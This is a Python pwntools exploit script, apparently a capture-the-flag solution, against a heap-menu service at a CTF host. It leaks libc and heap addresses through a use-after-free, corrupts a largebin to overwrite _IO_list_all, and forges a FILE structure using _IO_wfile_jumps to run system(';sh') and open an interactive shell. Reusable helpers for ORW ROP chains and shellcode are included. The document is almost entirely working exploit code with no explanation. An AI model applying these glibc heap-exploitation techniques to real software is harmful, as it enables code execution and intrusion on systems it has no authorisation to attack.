1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
| from pwn import * import subprocess import os
def stre(a) : return str(a).encode() def ph(a,b="addr") : print(b+": "+hex(a)) def re(a) : return p.recv(a) def pre(a) : print(p.recv(a)) def reu(a,b=False) : return p.recvuntil(a,drop=b) def rel() : return p.recvline() def se(a) : p.send(a) def sea(a,b) : p.sendafter(a,b) def sel(a) : p.sendline(a) def sela(a,b) : p.sendlineafter(a,b) def op() : p.interactive() def cp() : p.close() def raddr64() : return u64(p.recv(6).ljust(8,b'\x00')) def raddr32() : return u32(p.recv(4)) def raddr_T() : return int(re(14),16) def raddr_A() : return int(reu(b"-",True),16) def get_pid(process_name): ps_output = subprocess.check_output(['ps', '-a']).decode('utf-8') lines = ps_output.splitlines() for line in lines: if process_name in line: pid = line.split()[0] if pid.isdigit(): return pid return None def gdbremote(pid , name = 'pwn-box-22.04' , port = '10000' , ip = '127.0.0.1'): os.system("gnome-terminal -- bash -c \"docker exec -it " + name + " gdbserver :" + port + " --attach " + pid + " \"") os.system("gnome-terminal -- bash -c \"gdb -ex \\\"target remote " + ip + ":" + port + "\\\" \"") def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr): orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) orw+= p64(read_addr) orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) orw+= p64(write_addr) return orw def getorw(name,buf,Arch) : sh=shellcraft.open(name) sh+=shellcraft.read(3,buf,0x30) sh+=shellcraft.write(1,buf,0x30) sh=asm(sh,arch=Arch) return sh def gdbp(p,a='') : if a!='': gdb.attach(p,a) pause() else : gdb.attach(p) pause()
p = remote("ponella.tasks.ctf.ad", 43543)
libc = ELF("./libc.so.6")
def add(index, size, content): sela(b"> ", stre(1)) sela(b": ", stre(index)) sela(b": ", stre(size)) sela(b": ", content)
def show(index): sela(b"> ", stre(3)) sela(b": ", stre(index))
def dele(index): sela(b"> ", stre(2)) sela(b": ", stre(index))
add(0, 0x870, b"A"*0x8) add(1, 0x68, b"A"*0x8) dele(0)
show(0) reu(b"== DATA ==\n") libc_base = raddr64() - 0x211b20 ph(libc_base,"libc_base")
dele(1)
show(1) reu(b"== DATA ==\n") heap_base = u64(p.recv(5).ljust(8,b'\x00')) << (8+4) ph(heap_base,"heap_base") key = heap_base >> (8+4)
IO_list_all = libc_base + libc.sym["_IO_list_all"] io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] sys_addr = libc_base + libc.sym['system']
add(2, 0x430, b"Z"*0x8) add(3, 0x430, b"Z"*0x8) dele(3) dele(2) add(4, 0x870, b"A"*0x438 + p64(0x211)) dele(3) dele(4)
add(5, 0x440, b"A"*0x8) add(6, 0x420, b"A"*0x8) add(7, 0x410, b"S"*0x8) add(8, 0x440, b"A"*0x8) dele(6) add(9, 0x440, b"A"*0x8)
fd = libc_base + 0x211f10 bk = fd next_fd = heap_base + 0x6e0
add(10, 0x200, p64(0) + p64(0x431) + p64(fd) + p64(bk) + p64(next_fd) + p64(IO_list_all-0x20)) dele(7) add(11, 0x440, b"A"*0x8)
payload = p64(0)*2 payload+= p64(0) + p64(1) payload+= b"\x00"*0x38 + p64(sys_addr) + b"\x00"*0x30 + p64(heap_base+0xb80) payload+= b"\x00"*0x30+ p64(io_wfile_jumps) payload+= p64(heap_base+0xb80)
add(12, 0x410, payload) add(13, 0x68, b"A"*0x60 + p32(0xfffff7f5) + b";sh\x00")
dele(10)
payload = p32(0xfffff7f5) + b";sh\x00" + p64(0) payload+= p64(0)*2 payload+= p64(0) + p64(1) payload+= b"\x00"*0x38 + p64(sys_addr) + b"\x00"*0x30 + p64(heap_base+0x6e0) payload+= b"\x00"*0x30+ p64(io_wfile_jumps) payload+= p64(heap_base+0x6e0)
add(14, 0x200, payload)
sela(b"> ", stre(4))
op()
|